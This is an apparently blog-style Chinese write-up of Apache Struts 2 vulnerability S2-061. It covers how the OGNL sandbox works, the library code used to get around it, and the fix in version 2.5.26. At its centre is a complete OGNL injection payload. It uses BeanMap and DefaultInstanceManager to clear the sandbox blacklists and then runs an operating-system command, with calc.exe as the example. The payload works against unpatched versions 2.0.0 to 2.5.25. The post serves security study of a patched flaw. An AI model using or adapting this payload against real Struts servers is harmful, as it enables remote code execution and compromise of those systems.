前言
经典 Java 软件漏洞 struts 系列,准备一个个看过去。
环境搭建
影响版本Struts 2.0.0 - Struts 2.5.25,这里使用struts 2.5.25。
官方通告,主要看沙盒绕过方式,需要引入一个老朋友依赖:
1 2 3 4 5
| <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.2</version> </dependency>
|
漏洞利用
现有的沙盒限制主要位于SecurityMemberAccess类中,类型如下:
无法new一个对象,由isClassExcluded函数负责,前面的callConstructor函数将target设置为一个class,isAccessible函数中获得的targetClass就为Class.class,触发isClassExcluded函数中的:
1
| clazz == Class.class && !allowStaticMethodAccess
|
无法调用黑名单类和包的方法、属性,由isPackageExcluded等函数负责
无法使用反射,由isClassExcluded函数负责,由于将java.lang.Object和java.lang.Class放入黑名单,而反射需要调用它们的getClass、getDeclaredMethod等函数
无法调用静态方法,由Modifier.isStatic和allowStaticMethodAccess属性负责
还在OgnlRuntime的invokeMethod函数中以写死的方式禁止了一些类,即绕过沙盒也无法使用它们。
我们现在还剩下的手段,就只有调用已实例化对象的非静态函数了。
#application中存在一个DefaultInstanceManager对象:

其newInstance函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public Object newInstance(String className) throws IllegalAccessException, InvocationTargetException, NamingException, InstantiationException, ClassNotFoundException, IllegalArgumentException, NoSuchMethodException, SecurityException { Class<?> clazz = this.loadClassMaybePrivileged(className, this.classLoader); return this.newInstance(clazz.getConstructor().newInstance(), clazz); }
private Object newInstance(Object instance, Class<?> clazz) throws IllegalAccessException, InvocationTargetException, NamingException { if (!this.ignoreAnnotations) { Map<String, String> injections = this.assembleInjectionsFromClassHierarchy(clazz); this.populateAnnotationsCache(clazz, injections); this.processAnnotations(instance, injections); this.postConstruct(instance, clazz); }
return instance; }
|
可以通过一个字符串创建一个新的对象,但是要求该类存在public的无参构造函数。
老朋友依赖中的org.apache.commons.collections.BeanMap类存在public的无参构造函数:
其setBean函数如下:
1 2 3 4
| public void setBean(Object newBean) { this.bean = newBean; this.reinitialise(); }
|
reinitialise函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| protected void reinitialise() { readMethods.clear(); writeMethods.clear(); types.clear(); initialise(); }
private void initialise() { if(getBean() == null) return;
Class beanClass = getBean().getClass(); try { BeanInfo beanInfo = Introspector.getBeanInfo( beanClass ); PropertyDescriptor[] propertyDescriptors = beanInfo.getPropertyDescriptors(); if ( propertyDescriptors != null ) { for ( int i = 0; i < propertyDescriptors.length; i++ ) { PropertyDescriptor propertyDescriptor = propertyDescriptors[i]; if ( propertyDescriptor != null ) { String name = propertyDescriptor.getName(); Method readMethod = propertyDescriptor.getReadMethod(); Method writeMethod = propertyDescriptor.getWriteMethod(); Class aType = propertyDescriptor.getPropertyType();
if ( readMethod != null ) { readMethods.put( name, readMethod ); } if ( writeMethod != null ) { writeMethods.put( name, writeMethod ); } types.put( name, aType ); } } } } ... }
|
简单来说就是会获取输入的对象中的所有属性的描述符及相应的getter和setter放入对应的清空后的HashMap中。
然后其get函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| public Object get(Object name) { if ( bean != null ) { Method method = getReadMethod( name ); if ( method != null ) { try { return method.invoke( bean, NULL_ARGUMENTS ); } catch ( IllegalAccessException e ) { logWarn( e ); } catch ( IllegalArgumentException e ) { logWarn( e ); } catch ( InvocationTargetException e ) { logWarn( e ); } catch ( NullPointerException e ) { logWarn( e ); } } } return null; }
|
可以调用输入name的getter函数,因为OgnlValueStack中存在getContext函数,所以可以通过BeanMap获取其中存放的context:
1 2 3 4 5 6 7 8
| data1 = { "username": "%{" "(#stack=#attr['struts.valueStack'])." "(#beanmap=#application['org.apache.tomcat.InstanceManager'].newInstance(\"org.apache.commons.collections.BeanMap\"))." "(#beanmap.setBean(#stack))." "(#context=#beanmap.get(\"context\"))" "}" }
|
通过调试可以看到结果:

获取到context后就可以通过其getMemberAccess函数获取SecurityMemberAccess,然后就是调用其setter清空其中的黑名单,这里可以使用BeanMap的put函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| public Object put(Object name, Object value) throws IllegalArgumentException, ClassCastException { if ( bean != null ) { Object oldValue = get( name ); Method method = getWriteMethod( name ); if ( method == null ) { ... try { Object[] arguments = createWriteMethodArguments( method, value ); method.invoke( bean, arguments );
Object newValue = get( name ); firePropertyChange( name, oldValue, newValue ); } catch ( InvocationTargetException e ) { logInfo( e ); throw new IllegalArgumentException( e.getMessage() ); } catch ( IllegalAccessException e ) { logInfo( e ); throw new IllegalArgumentException( e.getMessage() ); } return oldValue; } return null; }
|
虽然源码中的freemarker.template.utility.Execute类没有无参构造函数,但我们都知道JVM会给它自己加一个,所以最后payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| data1 = { "username": "%{" "(#stack=#attr['struts.valueStack'])." "(#instanceManager=#application['org.apache.tomcat.InstanceManager'])." "(#beanmap=#instanceManager.newInstance(\"org.apache.commons.collections.BeanMap\"))." "(#emptySet=#instanceManager.newInstance(\"java.util.HashSet\"))." "(#beanmap.setBean(#stack))." "(#context=#beanmap.get(\"context\"))." "(#beanmap.setBean(#context))." "(#memberAccess=#beanmap.get(\"memberAccess\"))." "(#beanmap.setBean(#memberAccess))." "(#beanmap.put(\"excludedClasses\", #emptySet))." "(#beanmap.put(\"excludedPackageNames\", #emptySet))." "(#args=#instanceManager.newInstance(\"java.util.ArrayList\"))." "(#args.add(\"calc.exe\"))." "(#execute=#instanceManager.newInstance(\"freemarker.template.utility.Execute\"))." "(#execute.exec(#args))" "}" }
|
漏洞分析
同S2-059。
漏洞修复
在Struts 2.5.26版本下,黑名单增加了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <constant name="struts.excludedPackageNames" value=" ognl., java.io., java.net., java.nio., javax., freemarker.core., freemarker.template., freemarker.ext.jsp., freemarker.ext.rhino., sun.misc., sun.reflect., javassist., org.apache.velocity., org.objectweb.asm., org.springframework.context., com.opensymphony.xwork2.inject., com.opensymphony.xwork2.ognl., com.opensymphony.xwork2.security., com.opensymphony.xwork2.util., org.apache.tomcat., org.apache.catalina.core., com.ibm.websphere., org.apache.geronimo., org.apache.openejb., org.apache.tomee., org.eclipse.jetty., org.mortbay.jetty., org.glassfish., org.jboss.as., org.wildfly., weblogic.," />
|
禁止了org.apache.catalina.core.,即禁止了DefaultInstanceManager,无法再通过这个类实例化对象了。
同时populateComponentHtmlId函数中的id也变成了未经过表达式解析的%{username},双重评估也修了。
参考
https://mp.weixin.qq.com/s/RD2HTMn-jFxDIs4-X95u6g